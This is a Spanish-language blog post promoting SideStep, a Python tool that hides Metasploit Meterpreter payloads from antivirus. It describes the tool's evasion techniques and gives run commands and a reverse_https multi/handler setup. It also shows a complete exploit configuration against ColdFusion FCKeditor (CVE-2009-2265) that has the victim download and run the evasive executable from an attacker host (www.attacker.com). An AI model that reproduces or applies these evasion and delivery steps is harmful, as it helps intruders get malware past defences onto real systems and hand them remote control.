Evita que el AV detecte tu payload de Metasploit con SideStep

SideStep es un script en python que podemos usar para que nuestros payloads de Metasploit no sean detectados por los antivirus. Las técnicas fundamentales que utiliza son:

- Cifra el shellcode de Meterpreter generado con msfvenom mediante AES de 128 bits (utilizando la biblioteca de C++ CryptoPP) con una clave generada aleatoriamente. El payload se descifra justo antes de la ejecución.
- Cambia aleatoriamente todos los nombres de variables y funciones. El tamaño de los nombres y las funciones se puede configurar.
- Crea una función que comprueba la hora local del host, luego hace un bucle durante una suma configurable de segundos al principio del programa para evadir sandboxes de AV. También se añade como parámetro un generador DH que suma tiempo extra al inicio.
- Mete el ejecutable con un número configurable de variables que tienen valores aleatorios de tamaño configurable. Estas variables están antes de la llamada a la función main().
- Si Cygwin está presente, utiliza strip para eliminar símbolos de depuración y otra información útil para el reversing.
- Si se usa peCloak, se codificarán las instrucciones de ensamblado en el último paso.

Requisitos:

- Metasploit Community 4.11.1 – Update 2015031001 o posterior
- Ruby 2.x
- Windows (debería funcionar en 7 o 8  – probado en 8.1)
- Python 2.7.x
- Visual Studio (las versiones gratuitas deberían ir bien – probado en 2012)
- Windows SDK
- Cygwin con la utilidad strip (si quieres "strippear" símbolos de depuración)
- peCloak (si quieres usarlo)

Descarga:

$ git clone https://github.com/codewatchorg/SideStep.git

Uso:

El fichero de configuración principal está en conf\settings.py. Luego como mínimo tenemos que indicar la IP y el puerto del handler o manejador de Metasploit: 


python sidestep.py --ip 192.168.1.1 --port 443

Por defecto, el fichero fuente se guardará en el directorio .\source y el ejecutable en .\exe. Para instalar el manejador en tu máquina atacante simplemente debemos especificar:

use multi/handler
  set PAYLOAD windows/meterpreter/reverse_https
  set LHOST 192.168.1.1
  set LPORT 443
  set AutoRunScript post/windows/manage/smart_migrate
  run


La mejor manera de entregar el ejecutable a través de Metasploit es cargar el exploit correspondiente, y luego establecer el PAYLOAD a windows/download_exec, y subir el ejecutable a un servidor web. Un ejemplo de configuración sería:

use exploit/windows/http/coldfusion_fckeditor
  set PAYLOAD windows/download_exec
  set EXE sidestep.exe
  set URL http://www.attacker.com:80/sidestep.exe
  set AutoRunScript post/windows/manage/smart_migrate
  set RHOST 1.1.1.1
  set RPORT 80
  run


En este ejemplo explotaríamos la vulnerabilidad "FCKeditor" en ColdFusion (CVE-2009-2265), lanzando un shellcode que descarga un ejecutable desde la URL facilitada, guardándolo con el nombre del EXE elegido, para luego ejecutarlo.

Proyecto GitHub de SideStep:  https://github.com/codewatchorg/sidestep


Fuente: http://www.ehacking.net/2015/06/sidestep-yet-another-anti-virus-evasion.html 

Comentarios